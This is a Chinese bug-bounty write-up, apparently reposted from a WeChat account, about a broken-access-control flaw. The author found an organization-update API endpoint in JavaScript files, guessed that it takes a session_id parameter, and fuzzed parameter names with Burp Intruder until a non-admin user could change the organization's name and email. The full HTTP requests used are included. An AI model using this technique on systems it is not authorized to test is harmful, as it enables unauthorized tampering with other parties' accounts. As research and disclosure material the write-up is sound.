利用JS文件检查与Fuzz进行越权操作

admin 2023年11月24日13:49:27评论27 views字数 4094阅读13分38秒阅读模式

漏洞的发现是通过检查网站源代码中的JS文件,在这些JS文件中,发现了一些可疑API端点。通过Fuzz技术来确认这些API端点的参数,并最终对高权限API端点进行越权操作。

好的,让我们现在开始吧!

在这个网站上,我们可以在所在的组织内创建项目。但是组织名称和电子邮件地址是无法更改的!如果想要更改它们,需要联系管理员或支持团队!

利用JS文件检查与Fuzz进行越权操作

首先,当我检查JS文件时,发现了很多文件,但有一个特定的文件引起了我的注意,因为它包含了该网站使用的许多API端点的请求!该网站使用API系统地址是:

https://target.com/endpoints/organization/<ACTION>

在那个我提到的JS文件中,我发现了一个有趣的端点:

/endpoints/organization/update

JS文件中源码如下

saveOrganization: async a => _({
            method: "PUT",
            endpoint: "/endpoints/organization/update",
            body: a
        }).then(r => n(r)),

我想知道这个端点在做什么。

所以我按照JS源码中的格式构造了一个数据包发送。就像下面这样。

PUT /endpoints/organization/update HTTP/2
Host: home.target.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Referer: <https://home.target.com/>
Content-Type: application/json
Content-Length: 76
Origin: <https://home.target.com/>

返回了一个预期响应结果,因为我没有在PUT请求中添加任何数据。

HTTP/2 500 Internal Server Error

{"error": {"code""500""message""A server error has occurred"}}

因此我决定发送一些随机数据({"hello":"goodbye"}),测试一下这个端点。

PUT /endpoints/organization/update HTTP/2
Host: home.target.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Referer: https://home.target.com/
Content-Type: application/json
Content-Length: 76
Origin: https://home.target.com/

{"hello":"goodbye"}
HTTP/2 500 Internal Server Error]

{"message":"Error: This user does not have admin access!","type":"error"}

我在这个网站上搜索了将近4,5天,我知道哪些参数可能会是那个会话/令牌!!

这个令牌是必需的,并且在API端点的所有请求中使用。每个账户都有一个特定的令牌,但每个API端点都用不同的名称来调用该令牌,比如一个API端点调用它为code,另一个API端点调用为token,session,tokenId,session_id,access,org_id,id,org或user。

我还使用了一个名为Param Miner的Burp扩展,它会收集Burp历史记录中特定目标请求的所有参数。这对于清楚地提取这些参数名称非常有帮助!因此,我从一个随机请求中获取了一个令牌,并开始逐个使用所有这些参数名称发送它。

Boom!!最终!!我使用了自己的令牌的session_id!一切正常!

PUT /endpoints/organization/update HTTP/2
Host: home.target.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Referer: https://home.target.com/
Content-Type: application/json
Content-Length: 76
Origin: https://home.target.com/

{"session_id":"9n5n6zxxxxxxxxxllye4ul"}
HTTP/2 400 Bad Request
{"message":"No data to update"}

现在我的会话已成功验证!!服务器回复“没有数据需要更新”,这意味着它正在等待我提交一个值来进行更改!!

现在是时候对我可以更改的参数进行模糊测试了。显然,我在此过程中使用了字典来对参数进行Fuzz:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt。

将我的请求发送到Burp的Intruder中,粘贴了我的列表,发送了一个数据如下:{"session_id":"9n5n6zdxxxxxxxx05llye4ul", "":"changevalueeeee"}

我开始进行模糊测试后的3-4分钟里,我注意到了不同的状态码和响应长度,我必须检查一下!在这里,我找到了一个允许我更改组织名称/电子邮件的请求!但这不允许!这个操作只能由管理员/支持人员执行!

PUT /endpoints/organization/update HTTP/2
Host: home.target.com
Cookie: XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Referer: https://home.target.com/
Content-Type: application/json
Content-Length: 76
Origin: https://home.target.com/

{"session_id":"9n5n6xxxxxxxxxxc05llye4ul""name":"changevalueeeee"}
HTTP/2 200 OK
{"billing_enabled":false,"billing_type":"trial","created_at":1676997471,"data_streams_plan":"starter","email_address":"[email protected]","feature_flag":{"allow_usage_billing":false,"forever_free_tier":false},"first_non_auth_api_call_made":null,"id":"2lxxxxxxxxxxzf49rtjd8ia","invoices":null,"is_marketplace_org":false,"marketplace_id":null,"name":"changevalueeeee","stripe_customer_id":null,"trial_end_date":1678207071}

在我的响应中,我看到了"email_address":"[email protected]",那是我的组织电子邮件地址,我无法更改它!!

我尝试将其发送到POST数据中并设置一个新的电子邮件地址,所以我发送了email_address和session_id以及name。然后得到了:

利用JS文件检查与Fuzz进行越权操作

就这样,成功hack了它。可以进行越权操作,修改组织的信息。

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

利用JS文件检查与Fuzz进行越权操作

往期回顾


xss研究笔记

SSRF研究笔记

dom-xss精选文章

2022年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


原文始发于微信公众号(迪哥讲事):利用JS文件检查与Fuzz进行越权操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日13:49:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用JS文件检查与Fuzz进行越权操作https://cn-sec.com/archives/2231573.html

发表评论

匿名网友 填写信息